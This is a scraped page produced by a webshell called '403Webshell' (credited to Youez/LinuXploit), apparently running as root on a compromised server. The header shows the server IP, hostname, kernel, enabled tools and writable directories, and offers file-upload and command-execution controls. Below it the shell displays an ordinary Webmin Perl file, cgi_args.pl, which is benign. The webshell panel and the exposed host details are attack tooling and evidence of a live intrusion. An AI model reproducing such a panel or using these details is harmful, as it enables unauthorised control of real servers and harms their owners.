403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.150
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/webmin/htaccess-htpasswd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/htaccess-htpasswd/cgi_args.pl
do 'htaccess-lib.pl';

sub cgi_args
{
my ($cgi) = @_;
my @dirs = grep { &can_access_dir($_->[0]) } &list_directories();
if ($cgi eq 'edit_dir.cgi') {
	return @dirs ? 'dir='.&urlize($dirs[0]->[0]) : 'new=1';
	}
elsif ($cgi eq 'edit_user.cgi') {
	if (!@dirs) {
		return 'none';
		}
	else {
		my $d = $dirs[0];
		my $users = $d->[2] == 3 ? &list_digest_users($d->[1])
				         : &list_users($d->[1]);
		return @$users ? 'dir='.&urlize($d->[0]).
				 '&idx='.$users->[0]->{'index'}
			       : 'dir='.&urlize($d->[0]).'&new=1';
		}
	}
elsif ($cgi eq 'edit_group.cgi') {
	my ($d) = grep { $_->[4] } @dirs;
	if (!$d) {
		return 'none';
		}
	else {
		my $groups = &list_groups($d->[4]);
		return @$groups ? 'dir='.&urlize($d->[0]).
				  '&idx='.$groups->[0]->{'index'}
			        : 'dir='.&urlize($d->[0]).'&new=1';
		}
	}
return undef;
}

Youez - 2016 - github.com/yon3zu
LinuXploit